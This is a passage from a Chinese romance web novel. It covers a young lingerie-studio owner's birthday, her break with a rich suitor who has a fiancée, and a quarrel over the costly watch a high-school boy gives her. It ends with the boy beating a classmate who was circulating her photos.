“嘿,你不知道吧!我就说你是小土狗,”谈丹青扬眉,说:“是种日料。”她哀哀地叹了口气,“贵得要死要死,分量还很少很少……” 虽说这顿饭最后依然是魏繁星提前付的钱,但她还是觉得肉疼。她手里的钱都是自己赚的,实在见不得白花花的银子就这么流出去吃空气。 绪东阳冷着脸,一言不发地起身去厨房。 谈丹青追问:“你干嘛?” “煮面。” “泡泡面么?”谈丹青有点流口水,“帮我也泡一盒,我要红烧牛肉面口味的。” 绪东阳压根没搭理她,背对着她系围裙。 细细的围裙带勒在他的腰线上,宽肩窄腰的轮廓被灯光投在墙上,像幅剪影画。 男人似乎更适合穿围裙。 谈丹青正想着,手机突然在茶几上震动。 魏繁星发来消息。 繁星:【怎么先回去了?】 Tdq:【今天太晚了。】 魏繁星难得多费口舌,同她解释道:【今晚情况特殊,我大哥回家,我要回老宅见他。】 Tdq:【明白。】 她其实真没怪魏繁星什么。她对魏繁星的不悦,甚至远比不上她对她脚后跟上那块移位了的创口贴。 魏繁星今晚的一切行为,都合情合理—— 她本来就没有他大哥、他家族重要; 他去见他家里人的时候,不方便和她联系,所以没有告诉她也没有回消息; 就连那份带着发票的礼物,也不过是他的处事风格。 所以她完全能理解魏繁星在给她过生日的时候,一句话都不说就将她给抛下。 只是这种理解,她觉得没什么意思。 她被抛下的次数太多了。谈国庆也是这么将她抛下,谈婚论嫁的前男友也是如此。她对被抛弃之后的情感创伤应对得炉火纯青。 童话故事里的水晶鞋或许真的很漂亮,所有人都又争又抢。但她不是什么灰姑娘,也没有什么魔法。 她斟酌着语句:【发个地址给我吧,礼物我想还给你。】 繁星:【什么意思?】 Tdq:【今天我见到你未婚妻了。】 魏繁星是个聪明人,她这边点到为止就好,将话说得太透反而不够体面。 一分钟后,魏繁星回复了。 繁星:【礼物不用还我,本就是送你的生日礼物。如果不喜欢,小票在包装盒里,你可以自行退掉,购置更喜欢的东西。】 繁星:【丹青,二十五岁生日快乐。】 一碗桶装红烧牛肉面,突然重重地搁在她面前的玻璃茶几上,谈丹青蓦地回神。 绪东阳是开火煮的泡面,面条劲道,香辣汤底红彤彤一片。一枚糖心荷包蛋堆在最顶端duangduang直颤,冰箱剩余的牛肉罐头、火腿、切成整齐的方块状,码得整整齐齐,白菜菜心翠绿欲滴…… 这哪是什么红烧牛肉面,这简直就是泡面包装盒上的广告图。 她快饿晕了,掰开一次性筷就吃了一大口,说:“还有吗?” 绪东阳摇了摇头,“没了。” 谈丹青去厨房又拿了一只大碗,给绪东阳分了一半,然后她像贼贼似的将食指抵在唇间,“那我们吃小声点,千万别让小白听到。” 绪东阳看她的眼神,略微有些微妙。 谈丹青便嗔了他一眼,理直气壮地说:“他都长胖了还吃。” “真的很好吃,”不知道是不是饿过头了的原因,一口碳水下去,满足感无与伦比,她咽下荷包蛋里面的糖心,说:“绪东阳,我跟你说真的,你要是高考没考好,我送你去学厨子……啊,呸呸呸,” 她说完就后悔,又拍了拍自己的嘴,“我在胡说八道什么,你肯定能考得非常好。” 绪东阳没说什么,只是给她递了一张纸巾。 谈丹青这才感觉到鼻尖有点热,应该是刚刚吃太急了,吃到脸上去了。 她有些尴尬地笑笑,用纸巾擦鼻尖。 绪东阳盯着她,指了指自己的嘴角。 谈丹青忙低下头,手忙脚乱地改用纸巾擦了擦嘴角。 她继续埋头吃面,一股股热气模糊了视线。 “你说,泡面是不是也算长寿面?”谈丹青突然发出疑惑。 “算吧。”绪东阳回答。 谈丹青用面条挑起一根面,咬住一头,说:“那我们这儿的习俗是,过生日吃面的时候,不可以将面条咬断,所以要像这样。”她咕噜噜地吸面。 “不将面咬断,会怎么样?”绪东阳问。 “就能长寿。”谈丹青弯着眉毛说,“还能幸运吧。就跟削苹果皮不断一样。” 绪东阳没戳破她可笑的迷信,点了点头。 客厅电视机背景音轻缓,只开了很小一盏灯,两人的影子在沙发上离得很近。 “呀,差点忘了,还有重头戏!”她忽地想起了什么,放下筷子,转身从扔在沙发上的贝壳包里掏出一包烟。 白皙纤长的食指与中指夹住一根细长的女士烟,殷红的唇轻轻抿住滤嘴。烟尾被咬住的那一瞬间里,嘴唇唇纹上残余的口红,拓印出浅浅的唇纹,像一副隐蔽的水墨图。 绪东阳的视线不自觉地追寻了这根烟,看着她饱满的嘴唇,是如何轻轻往下凹陷,留下牙齿的痕迹。 “你做什么?”他伸手就夺走了她唇间的烟。谈丹青手指间的打火机都没能点燃。 “我没打算抽烟啊,”谈丹青解释:“今天我生日,我想许愿。” 绪东阳顿了顿,抽走她指间的打火机,然后在关掉客厅沙发旁地灯的同时,按下打火机。 客厅陷入伸手不见五指一团暗夜,紧接着,伴随哒地一声轻响,一簇明媚耀眼的火苗,在绪东阳掌心中绽开。他缓缓举起打火机,送至她的眉心。那团鲜红的火苗在他清冽澄澈的漆黑眼眸中蹿动,也映亮了她的眼睛,仿佛为她捧来了一团火。 “这样许。”他清清淡淡地说。 “好吧,这样应该也凑合。”她合上眼睛,俏皮地双手合十。 火光跳动,浓密卷曲的睫毛在白皙的脸颊上投下扇形的阴影,好似蝴蝶在停留在她的面颊上,奋力挥展着蝶翼。 时间突然流动得很慢,像他掌心那团飘忽的光一样,缓缓在两人之间流淌而过。 他以为谈丹青不会告诉他自己的愿望。 亦或是许愿发大财、嫁富豪。 没想到她那张浸润在温和火光里的脸,唇角寂静无声地荡开温柔的笑,“许愿……许愿我那两个弟弟——” 绪东阳能听到自己的呼吸短暂的停滞,火苗在他瞳孔里晃得更快,像被惊动的萤火。 “能考上想去的学校,前程似锦。” 她说完,抬手拨过耳垂后落下的碎发,然后俯身凑近他的手掌,吹灭打火机上的火苗。 火光嗤的一声灭了。 漆黑里,从她唇间溢出的一股馥郁的香,拂在他的眉心。 22 第22章 ◎礼物◎ 老宅夜半,墨绿色的灌木林中蛩鸟声起伏,魏繁星在长廊看手机上谈丹青发来的消息。 繁星:【丹青,生日快乐。】 聊天消息气泡孤零零地停留在这里,没回音。 “还没睡?”低沉的嗓音自身后响起。 “大哥。”魏繁星转身,立定站好。 “没事,”魏晨风摆了摆指缝间的烟头,“我也是出来透透气,你嫂子管得严,不让我抽。” 月光勾勒出相似的轮廓——兄弟俩的眉眼如出一辙,只是魏晨风的线条更硬朗些。 他比魏繁星高了半指,肩背挺括,说话时胸腔里荡出的声音总带着不容置疑的分量。 两人之间横亘了十年的岁月,魏晨风早过了为风月伤神的年纪,联姻娶的妻子,岳父在政商两界的人脉替他铺平了道路。感情不过是锦上添花的点缀。 魏繁星笑笑,说:“嫂子关心大哥身体。” 夜风惊扰廊下,魏晨风掸了掸指尖烟灰,“听贺达说,你最近交了个新女朋友?大半夜躲这儿,是跟她聊天?” “是。”魏繁星将身体的重心从左边换到了右边。 魏晨风睇着弟弟,缓缓吐出口烟圈,状似随意地口问了一句,“听说你这次的女朋友,还是个小老板?这又是在搞什么?” 他这次回国,就察觉弟弟似乎出了点情况。以往他对联姻的女孩儿就不太热衷,但这段时间却是变得非常冰冷。家族最近正在运作老城改造项目,需要联姻助力。如果魏繁星还像现在这样不咸不淡,就难往下推了。 “也没什么,”魏繁星目光落向远处,说:“就是看着她为她那个小公司跑前跑后的样子,挺有意思。” “她公司多大?” 魏繁星改口说,“其实是个工作室。” 营业额太小,具体的数说出来,叫人贻笑大方。 魏晨风爽朗的笑了一声,笑声里带着几分了然和轻蔑。 在他们眼里,谈丹青的服装品牌连一个过家家的玩具都算不上。这种小打小闹的生意,在他们眼里连过家家都算不上。魏繁星十八岁成年进入股市玩炒币的时候,老爷子给他两千万。 魏繁星垂眸看着指间明灭的烟头,忽然意识到自己和大哥想的其实没什么两样。 谈丹青那个寒酸的工作室,廉价的品牌和设计,在他眼里也上不了台面。可奇怪的是,当看到大哥对她露出这种轻蔑的神情,他喉咙里又像卡了根刺。 他不禁为谈丹青说几句好话:“她……她挺有头脑,也有才华,就是出身差了点,现在还在和朋友合伙的阶段。” 魏晨风没什么兴致听,漫不经心地掸了掸烟灰,鼻腔里挤出一声“嗯”,像在听一个无关紧要的汇报,“明白,现在你们流行玩养成系。” 魏繁星一缕青烟消散在空气里,终究没有反驳。 “随你吧,”魏晨风吸完烟,拍了拍身上的烟灰,对弟弟说:“凡事把握一个度。你以前不是做挺好的么?私下想怎么闹就怎么闹,别弄到明面上来就行。老爷子现在身体不好,你的婚事要抓点紧。” “嗯,我知道。”魏繁星截住话头,声音似夜露微凉。 魏晨风进屋后,魏繁星又划亮手机。 对话框依然停留在自己最后那条祝福上。 谈丹青的意思大概是真的想和他断了。 这个认知让他喉头发紧,但他觉得不可能。 谈丹青跟着他亲眼见过他们一夜之间,觥筹交错,就能从股票市场里捞到数以亿计的金钱。她怎么可能还愿意回去一件一件卖内衣? 他不觉得有任何人被他带着走进自己的世界后,还能这么洒脱地离开。一旦尝过云端滋味,就再也回不去泥泞里挣扎的日子。 就像他确信太阳明天会升起一样确信——没有人能拒绝他的世界。 谈丹青也不可能。 * 翌日早,谈小白打着哈欠从卧室出来,“早。” 谈丹青今天心情不错,醒很早,在客厅和绪东阳一起吃早饭,“早。” 谈小白抓着一脑袋乱糟糟的头发,去厨房觅食,口中还嘟嘟囔囔:“我昨晚做梦梦见自己在吃牛肉面,哎哟我去,香死我了,结果醒来一看,流了一枕头口水……” 谈丹青闻言,做贼心虚地和绪东阳对视了一眼。 绪东阳低头喝豆浆,眉梢也颤了颤。 “你就是馋。”谈丹青喝了口豆浆,挤兑了弟弟一句。 谈小白睡眼惺忪地拉开冰箱,下一秒,抄起垃圾桶就冲了出来,—— “谈、丹、青!”他眼睛瞪得像铜铃,冲她兴师问罪:“为什么垃圾桶里有泡面桶?为什么!看着我的眼睛!为什么!Why!” 谈丹青在心里大大地懊恼失策,朝绪东阳嗔了一眼。 责备他没有清理好“案发现场”。 绪东阳敛眉。 这事他真忘了。 “咳咳,”谈丹青从来不被人指责,只有她指责别人。她清了清嗓子,转移话题:“大呼小叫什么?我生日礼物呢?好啊你,我生日都不记得了。” 谈小白果然被带偏了思路,忘记继续追究吃宵夜不带他的事,气鼓鼓地掏出手机,说:“发你微信了啊,哼,自己跑出去玩,理都不理我。” 谈丹青这才点开她便宜弟弟的微信消息。 昨天一大早,谈小白就孝敬了她一个四位数大红包,“嚯,你小子还挺孝顺的。” “那是当然啊!”谈小白摇头晃脑地说。 一点开微信,她关注的就推送来了热点新闻。 避无可避,她看见了铺天盖地的关于魏家的花边新闻。 原来昨晚魏家大哥回国,引起各类小道消息。 广大网友纷纷挖出各种证据,说是因为魏家联姻在即,但魏繁星却还不肯收心,强强联手计划难以落地,于是魏老爷子特意将大哥从海外召回,好好敲打敲打小儿子。 这件事一翻出来,自然少不了重新盘点魏繁星的离任情人:从外貌、身材、以及出演作品三个维度评分,进行优劣排名,好似排名越靠前,嫁入豪门的可能性就越高。 里面倒没出现她的事,大概她身份太低,还不够格作为饭后谈资。 谈丹青手指往下滑动,百无聊赖地随手吃瓜。 这种感觉还挺奇妙,昨晚刚见过的人,今早就成了新闻报道上的一道朦胧的剪影。 配图里,魏繁星正为一位千金拉开车门,侧脸在闪光灯下格外清晰。 忽然,一只深蓝色丝绒礼盒闯入视线。 “嗯?”谈丹青惊讶地抬起头,正对上绪东阳平静的目光。晨光照着他耳际墨黑的碎发,几乎能看见颈侧清晰的绒毛。 “给我的。” “嗯。”绪东阳声音和态度总是这么冷淡,随手递给她礼物,像扔给她一张餐巾纸,多一句话都懒得说。 他起身端上空食盘就往厨房走,背影挺拔得像棵白杨,连后颈上那截凸起的骨节都透着股冷淡劲儿。 谈丹青完全没想到绪东阳也会给她准备生日礼物。 不过任何时候,收到礼物都是件很开心的事。 她眼睛一亮,将手机扔到一边,满心欢喜地拆包装袋, “让我看看小土狗给我准备的生日礼物是什么!” “自己看。”绪东阳压根不多搭理她。 谈丹青喜滋滋地打开包装,非常小心没将礼盒撕坏。 绪东阳给她准备的生日礼物是一块很漂亮的女士手表。 她对手表品牌没什么研究,只觉得这块表很好看,亮晶晶的,很有质感。 她立刻将手表往手腕上套,但背后的表链设计精细,她单手不好扣紧,扣了好几次,都散开了。 “诶……” 绪东阳本来站在厨房门口看她,看她失败了好几次,实在看不下去,朝她伸出手。 他的手又厚又大,粗糙的虎口圈住她的手腕,还多出了一根指节。 表链在他的手里变得服服帖帖,他缓缓推紧扣环,金属搭扣"咔嗒"的声响格外清脆。 买下这块表的时候,他就构想过这块表圈在谈丹青手腕上会是什么样子,那时脑中的幻想,远不及实物的百分之一。 谈丹青的手腕纤细得惊人,银色的表链松松环在上面,随着她晃手的动作轻轻滑动,像一泓月光缠绕着雪白的细瓷。表盘折射出的细碎光斑在她腕骨上跳跃,衬得那片肌肤几乎透明。 粗糙的指尖刮过细腻的手腕,像磨砂纸打磨过稚嫩的贝壳。 他很快收回了手,“是暗扣。” “原来如此,”戴好后,谈丹青眉开眼笑,在绪东阳眼前晃了晃手,表盘在晨光里折射出细碎的光斑,表链碰撞发出清脆声响,像夏日檐角的风铃。 “很好看啊!以后再也不叫你是小土狗了,审美还挺好的!”她举起手腕对着阳光端详,睫毛在脸颊投下细碎的阴影,嘴角翘起的弧度俏皮可爱。 绪东阳没说什么,起身去玄关处系鞋带,单肩背包,然后喊了谈小白上学,“走了。” * 公司里没什么藏得住的消息,很多下属都知道谈丹青跟魏繁星出去过几次。 他们公司现在又和魏繁星有业务关联,出现这种事,都不知道对他们这条小船会有什么影响,难免议论纷纷。 谈丹青倒没怎么在意,以前没认识魏繁星的时候怎么过,现在就怎么过。也不至于没了魏繁星,就连饭都吃不上。 她一进办公室,正在喝咖啡的郑芳就夸张地捂了捂眼睛,“我天我天,什么东西把我眼睛给晃到了。” 谈丹青:“?” 郑芳抓上谈丹青的手,机警道:“魏繁星送你的?” 谈丹青没想到郑芳会突然提魏繁星,愣了一瞬,笑笑,说:“不是。” 她还没来得及和郑芳提魏繁星昨晚放她鸽子的事。 “不对啊……”郑芳有些意外地摸着下巴,说:“可你怎么会买这么贵的表?” 谈丹青微愣,“这个……很贵?” “贵!”郑芳要被谈丹青不识货的反应给气死了,“死贵死贵!非常贵!” 谈丹青还是毫无概念,“到底多贵啊?” “你是不是还以为,这是拼夕夕买的啊?”郑芳无语。 谈丹青极小幅度地点了点头。 “我的天啊,我杂志呢?杂志!”郑芳喊叫了起来。 她对奢侈品深有研究,很快就从公司杂志架上取下一本顶奢杂志,翻到一页,停下指给她看—— “看见了吗?香港电影里面,古惑仔犯事跑路的时候,带着换钱的玩意儿,就是这个!” 谈丹青瞪着杂志海报,有些不可思议。 “到底是谁送你的啊?”郑芳问。 “绪东阳……”谈丹青喃喃自语。 这么贵重的东西,就这么敷衍地甩在她面前,甚至都没有暗示她这东西有多贵。 但凡她知道,她都不会收下还戴上。 她一时忍不住责怪起绪东阳来。 小孩就是小孩,不懂事。 什么人送什么礼;什么关系送什么礼,这中间都有一个度。同事之间送咖啡券,闺蜜之间送口红香水,恋人之间送珠宝鲜花——每样礼物都明码标着关系的深浅。就像跳舞,进一步是暧昧,退一步是生疏。这个度就叫约定俗成。 但凡过了这个度,就是踩错了步调,收礼的人为难;送礼人,出力不讨好,捧着满腔的爱意送出去,对方甚至只会踩在脚下践踏。 他太年轻了。 没心机没手段没套路。 不及魏繁星十分之一的老练。 “绪东阳?”郑芳也大吃一惊,还以为自己听错了,“他……他不是还在上学吗?学生哪里有这么多钱?” “是啊……”谈丹青心乱如麻,不知说什么好。 “这小孩儿……”郑芳欲言又止,“他挺喜欢你的吧。” 谈丹青没说话。 “他家里知道么?”郑芳又问。 谈丹青摇了摇头。 她开始担心,手表可能是绪东阳偷他家里的东西,就像幼儿园的小孩儿谈恋爱,偷父母的金手链送给小女朋友。 谈丹青上网查了一圈,总算弄清楚这块手表的市场价格和二手市场价格。 表绝对是真的。 24k真。 只是不知道是二手市场买的还是商店买的。 她还纳闷,绪东阳每天只穿运动鞋和运动卫衣,怎么突然挑女士饰品的品味这么好了。闹了半天,原来他选这款,跟这款好看毛线关系都没有。他选这款是因为这款最保值,二手市场价格已经涨得比原价还高了。 手表成了一块烫手山芋。 谈丹青再不敢戴,收进皮包里。 * 一整天,谈丹青都心神不宁。 她觉得这件事很是棘手。她不想伤了绪东阳的心,但又必须让他意识到这件事的严重性。 晚上回家前,她给谈小白发消息,让他去很远的一家超市买东西。 谈小白哼哼唧唧:【到底为什么要我去这么远的地方啊。】 Tdq:【我就要这个,买不到别回来。】 小白打游戏不小白:【嘤……】 支开谈小白,谈丹青又给绪东阳发消息。 Tdq:【今天一下晚自习就给我回来。】 Leo:【嗯。】 谈丹青开车赶回家,一进门就看见了绪东阳放在鞋柜上的红色运动鞋。 她换鞋,就去敲绪东阳的房间门,“绪东阳,绪东阳你给我过来。” 23 第23章 ◎“我要他,就不要你。”◎ 门开时,带起一阵微热的气流。 绪东阳的房间空得几乎冷清——一张铁架床,一套木质桌椅,一个窄窄的衣柜,除此之外几乎没有多余的物件。 床单是冷调的深灰色,铺得一丝不苟,书桌上的书目和试卷,也罗列得整整齐齐。开放式衣架上挂了几身衣物,不是黑白灰三色系运动服,就是黑白灰三色系卫衣。 唯一窗台上一盆绿油油的薄荷让人眼前一亮的,叶片养得而饱满,枝丫舒展。 “什么事?”他显然刚刚结束训练,墙角的杠铃片挪了位,冷白的颈间挂着一根黑色耳机线,虚虚坠在胸膛口,随着还未彻底平缓的呼吸轻微起伏。 扶着门框的小臂因充血而线条尤为清晰,黑色短袖领口歪斜在一边,露出冷白色的半截锁骨,白净而又有骨骼感。 谈丹青仿佛一脚踏入了绪东阳的地盘,下意识往后退了半步。 “这是什么?”她举起那块亮晶晶的手表质问。 绪东阳面不改色,低沉的男音里甚至有几分理直气壮,“生日礼物。” 谈丹青抬手握住绪东阳的手。 他的手掌难得没再缠那恼人的白色绷带,又宽又大,指节和虎口带着厚厚的茧,掌心上的每一道深刻的纹,都蓄着剧烈运动后的余温,烫得惊人。 “谢谢你。你的好意我心领了,但这块表你拿回去。”她轻轻将亮晶晶的银色表盘,放入他的手中。 冰冰凉凉的金属链条,与他灼热的掌心相触的刹那,仿佛像是雪花落在了刚被火淬过的烙铁上。一冷一热,在两人之间淬出一层不见的冷雾。 绪东阳不可置信地瞪着她,漆黑的瞳孔微微扩张,单薄的淡色嘴唇都在细微地抖动——“什么意思?” “礼物太贵重了,我不能要。”谈丹青手指被这剧烈的冷热交替激得微微发颤。 “什么意思?”绪东阳拧着眉。 谈丹青反问:“我问你,这表是从哪来的?拿家里的吗?你家里人知道吗?” 大概是“家里人”这三个字,触碰到了绪东阳最不愿意提的禁区。他的瞳孔骤然缩紧,像是被刺痛了一般猛地一颤,然后剧烈地呼吸了几声,鼻翼翕动。 “跟我家里人没关系!我自己买的。” “自己买的?你怎么买?你拿什么买?” 偷拿家里的钱已经算是好情况了,如果那真是绪东阳自己买的……她甚至不敢继续往深处想,绪东阳到底做了什么才弄到这笔钱。 谈丹青深吸一口气,试图将那些在胸腔里横冲直撞的情绪压下去,但这股火根本压不住,语气越来越冲。 “你一个学生,上哪儿挣这么多钱?十几万,你知道是什么概念吗?多少普通人家,打一年的工都挣不到十几万,你哪儿来的?抢银行啊?!” 绪东阳喉结滚动,呼之欲出的真相像荆棘般卡在喉咙里,刺得他生疼。 一旦他说了实情,谈丹青就会知道他压根没在学校好好学习,泡在地下俱乐部打拳赚钱。 一个谎言瞒着另一个谎言,最后只能硬生生咽下一个哑巴亏。 “不用你管!”他几乎是咬着牙,挤出这句话孩子气十足的话。 “不要我管?”谈丹青声音也抬高了:“我不管你,你说还有谁管你?” 谈丹青是真心为绪东阳着急。 绪东阳总是一个人,独来独往,没什么家人朋友。一个人很危险,走夜路,最容易踩空。她想帮他一把,想把他往回拽,可绪东阳那头却是油盐不进。 “是因为,我买的不够好,太丑了,你不喜欢,所以你不肯要?”他瞪着她,忽地开口,声音低哑,每个字都像是从齿缝里挤出来的,裹着尖锐的刺。 谈丹青几乎被这句话给气笑了。 人非常生气的时候,真的会很想笑。 “这压根不是一回事!” “那是为什么?!” 绪东阳狠狠瞪着她的眼睛,在逐渐发红。 他生就了一副硬朗凌厉的骨相,眉骨高,鼻梁挺,黑如浓墨的眼睛深深往里凹。于是当他双眼通红的时候,给人的感觉不是脆弱、可怜兮兮,而是像一头被激怒了的年轻小兽,充满了压抑的攻击性。他死死盯着她,像猎豹盯着囊中猎物。 谈丹青甚至觉得,绪东阳下一瞬就要扑过来咬她。 “是不是魏繁星送给你的东西,你就愿意要;我送给你的,你就不愿意!”他忽然说。 他早看见了。魏繁星送给她的鞋,被她好好放在鞋柜里。那双鞋丑死了,那么高的鞋跟,那么硬的皮,穿上去那么磨脚,弄的血淋淋的,她为什么还喜欢? 他到底是哪里不够好?他的礼物明明更贵重,更适合她。 不会伤害她一分一毫。 谈丹青简直对绪东阳无话可说。 这小孩儿怎么这么不听话?谈小白也皮,但他的皮也就是小打小闹,没胆子真搞出什么大事。 可绪东阳不一样,他平日里总静悄悄的,然后一言不发,给她来波大的。 “对,”谈丹青已经懒得和绪东阳继续辩论,她拽上他的手,将手表硬塞进他手里:“我就是不要你的,你想怎么样?东西拿回去,退掉,听到了没有?拿回去!” 这句话像一记重锤,狠狠砸在绪东阳的神经上。他的眼白骤然爬满血丝,浮起一层薄薄的水雾。 他突然迈开一大步,猛地冲到她的面前。谈丹青觉得他身上杀气腾腾,下意识往后退。 这一退,似乎更激怒了绪东阳。 他一把握住了她的手腕,粗糙宽大的虎口刚好掐住了她的手腕一圈,严丝合缝,力道大得几乎留下了指痕。 “绪东阳!”谈丹青喝了一声。 他不顾她挣扎,强行将手表套在她的手腕上。 冰凉的金属表链被他的大掌给捂热了,那灼人的温度顺着腕骨一路烧到心口。 粗糙的指腹在她皮肤上刮来刮去,从指尖一路推上纤细的手腕。 表扣咬合时"咔嗒"一声响,在凝滞的空气里格外刺耳——明明是一个充满祝*福的举动,却好像在给她戴上手铐。 谈丹青气急败坏:“绪东阳!你……” “不要就扔了。”绪东阳扔下这么一句,重重摔了门。 只听“叮咚”一声,指纹锁解锁,谈小白提着塑料袋进来,“啦啦啦,肉酱面终于买到啦!” “你们……”他意外地呆在原地,目光在谈丹青和绪东阳两人之间来回游离,战战兢兢地问:“你们吵架了啊?” 谈丹青站在原地,耳尖到脖颈都染上一层薄红,胸口剧烈起伏着。手腕上的表盘沉甸甸的。 她泄愤似的解着那恼人的暗扣,但怎么也解不开,“什么破东西……” “怎么了啊?”谈小白问。 谈丹青气红了脸,说:“有人发神经。” “那个……”谈小白尴尬地小声问:“肉,肉酱面还吃吗?” “吃,”谈丹青对着绪东阳的房间大声说:“当然吃,怎么不吃。” “那……绪东阳呢?”谈小白问。 “饿死他。”谈丹青说。 * 整整一晚,绪东阳始终无法合眼。 每当他合上眼要睡去,耳畔都会重新回荡起谈丹青的声音—— “我要他,就不要你。” 只要听到这道声音,他就觉得自己五脏六腑被剜了出来,只能狼狈不堪地坐起身,手指死死攥住胸前的衣料,在掌心揉成一团。 谈丹青怎么心就这么狠呢? 是,他是年纪小。 可年纪小,他的心就不是真的吗?年纪小,他打拳赚的钱就不是真的吗? 恨和爱往往只有一线之隔,曾经对她的爱意有多深,此刻就有多想将她揉碎了吞进骨血里。 他几乎是咬着牙恨她,可咬着咬着,咬到满嘴铁锈味儿,他又对她再也恨不起来。 谈丹青其实也没错。 一句话都没错。 他一个学生,拿什么让她信服自己能合法地赚这么多钱,能给她依靠? 只有魏繁星那种成熟的男人才可以。 正因为真相就是如此,才让人绝望。 他闭上眼睛,细碎的片段开始像老电影般一帧帧闪回—— 厨房里,谈丹青跟一根黄瓜倔强地较劲,将案板敲得咚咚的闷响,发丝黏在沁出汗珠的鼻尖; 卫生间里,她给他捧来两颗芬芳的茉莉凝香珠,非要他闻,但他其实只能闻出她身上的沐浴露香。 还有生日那晚,她对着打火机跃动的火苗许愿,暖光为她的侧脸镀上一层毛茸茸的金边 每个画面都鲜活如新,带着温度,在他心上最柔软处轻轻降落。 * 第二天一早,绪东阳没等谈小白一起上学。 年关将近,大街上年味越来越浓,街道两旁的灯笼红得刺眼,商铺循环播放着喜庆的贺岁歌。 嘴边呵出的白雾转瞬即逝,他从耳机里分辨暴躁的鼓点和空灵的女声—— Justgonnastandthereandwatchmeburn(就站在这儿看着我自焚吗?) ButthatsalrightbecauseIlikethewayithurts(没关系,因为我本就喜欢这种疼痛。) Justgonnastandthereandhearmecry(就站在这儿听着我哭泣吗?) ButthatsalrightbecauseIlovethewayyoulie(没关系,因为我本就喜欢你的谎言。) …… 单车的方向是学校,可他却有一种找不到方向,浑浑噩噩的感觉。 到了学校,谈小白偷偷发微信找了他好几次。 小白打游戏不小白:【阳哥,你跟我姐到底怎么回事啊?】 小白打游戏不小白:【我姐脾气是急,但她绝对不会是无缘无故乱发脾气,你肯定做错事了。】 小白打游戏不小白:【我姐吃软不吃硬,你服个软,她绝对不会怪你。】 绪东阳盯着最后一行字看了很久。 小白打游戏不小白:【你今晚还回来吗?】 绪东阳手指顿了顿。 最终还是没回。 将手机揣回口袋。 这天老师在讲台上讲了什么,他没怎么听。何薇发了填志愿的参考资料。他扯了几张物理卷子做,当做正念。 这么捱到了晚自习,手机又在裤袋里震个不停。 绪东阳瞥见来电显示上“谈小白”三个字,直接拖进了黑名单。 铃响他回到座位,谈小白的位置空了。 “靠,好像打起来了。”李远和前后桌八卦。 “谁啊谁啊?” “张渊,”李远说:“张渊堵了谈小白。” 绪东阳眉头立刻拧了起来。 “就在西楼梯口,”李远咽了咽口水,“张渊那孙子不知道发什么神经病,跑到谈小白面前口嗨他姐,小白当场就给了他一拳。现在张渊叫了外校的人” 话音未落,绪东阳突然拎包起身,椅腿在地面刮出刺耳的声响。 “阳哥?”李远纳闷。 “位置。”绪东阳说。 24 第24章 ◎附属卡◎ “嘭……” 一声巨响,谈小白后背重重撞在男厕所瓷砖墙上。 他忍痛在倒地瞬间蜷身打了个滚,眼角余光扫到墙角那柄发霉的拖把。 灵机一动,拎起来就一通瞎比划—— “别过来,别过来啊!我这是沾了屎的拖把!” “我草,”张渊的跟班,人高马大黄毛混混快吐出来,“恶不恶心啊!” 张渊也皱了皱眉,“废什么话,赶紧的。” 黄毛混混立刻锁住谈小白的脖子,把他按在地上。 谈小白闭上眼睛,今天脑袋又要开瓢了。 没想到预料中铁拳没落下,黄毛混混整个人却突然像只破麻袋似的直接飞起,一头撞倒一旁的垃圾桶。 不锈钢垃圾桶在地上打了两个滚,震声惊天动地,“哐当当……” 水龙头突然被拧开,绪东阳站在洗手台前缓缓洗手。 冷白的手指,骨节分明。 “绪东阳?”张渊一脸诧异。 晚自习太闷,李远他们几个也不想上,跟着绪东阳一起溜出来。 李远皮笑肉不笑地说:“诶,怎么这么热闹啊,一起上厕所啊?” “绪东阳,你几个意思?”张渊对绪东阳拧着眉说。 “谈小白怎么惹你了?”绪东阳平静地反问他。 不等张渊开口,谈小白扯着嗓子大声说:“张渊个贱种,他到处传我姐的照片,欠阉的狗东西。” “谁叫你姐拍那种照片的,她拍那种内衣照,不就是给人看的?她是表子,你是表子的弟弟。”话音未落,绪东阳抬腿就是一脚,这一脚正踹在张渊的膝盖骨上。 张渊立刻两腿一弯,跪了下来。 绪东阳抓上张渊的头,几乎单手将他整个人提起来,往外拖,然后把他的头按进洗手池里,拧开水龙头,水流冲他的嘴和牙。 “啊啊啊,啊啊啊!” 水被灌进张渊的鼻子里、眼睛里、嘴巴里,他发出杀猪似的惨叫。 几个小混混看得出绪东阳是真狠,纷纷往外跑。 看到绪东阳动手,谈小白也有点被吓到。 他打人非常利落,跟练过似的,太知道刀子往哪里剜最伤人。 而且他灌张渊的时候,脸上甚至都没有什么表情,平静冷淡。 张渊都嚎啕大哭了,他眼皮子都没跳一下。 谈小白现在只在心里阿弥陀佛。 当初他是怎么想到去堵绪东阳的? 真的是疯了吧。 “算,算了吧……”谈小白结结巴巴地说:“阳哥,别真把他给弄死了。” “阳哥,”这时在门口望风的李远也说:“年级主任巡逻过来了。” 绪东阳放了手,张渊从洗手台滑到地上,趴在地板上哇哇吐了半天水,吐到最后完全是干呕。 “手机。”绪东阳走到他身边,缓缓蹲下身。 “啊?”张渊脑子都是懵的。 “手机。”绪东阳又冷淡地重复了一遍。 “裤兜,裤兜里,呜呜呜……”张渊一把鼻涕一把泪。 绪东阳摸了他的裤兜,从左侧口袋摸到了手机。 手机是面部识别。 绪东阳抓上张渊的头发,让他露出脸。 解了锁。 绪东阳就点进张渊相册。 张渊存了不少偷拍女生的照片。 拍腿、底裤。 绪东阳一张一张全给他删了。 删到第十几张,就翻到了谈丹青的照片。 那应该是张渊从网上找的谈丹青工作室以前发的老广告。 看到那张照片的瞬间。 绪东阳血液倒流。 缺氧。 眼睛发胀。 照片里,谈丹青斜倚在一张洛可可风格的红丝绒椅上,半阖着眼睑睨着镜头,嘴角噙着抹似有若无的笑。 她身上只穿了一套古典式黑色内衣,鱼骨如中世纪铠甲般自腰际蜿蜒而上,系绳交叉缠绕,衬得雪白的背脊,细腻如雪。 这张脸看起来比现在要稚嫩几分,脸颊还带着未褪的婴儿肥,下颌线条也不似如今这般清瘦利落。 那双清澈的眼神也嫩,眼眸黑白分明,有几分倔强少女的味道。 绪东阳删干净所有照片。 重重将手机砸在张渊的脸上,“滚。” 张渊还来不及反应,就被手机拍出了一脸鼻血。 他顾不得擦脸,连滚带爬地跑了出去。 “怎么回事,怎么回事?”年级主任巡到了这里,“你们聚在这里做什么呢?抽烟?” “没有没有,”谈小白嬉皮笑脸地说:“放水呢……哪儿有什么烟味啊!” “哼,你们一个个给我老实点。”年级主任训斥道:“都高三了,还这么不像话!” 年级主任一走,谈小白立刻扶墙哀嚎:“我草他妈的,痛死老子了……” 他鬼哭狼嚎了半天,绪东阳压根没搭理他。 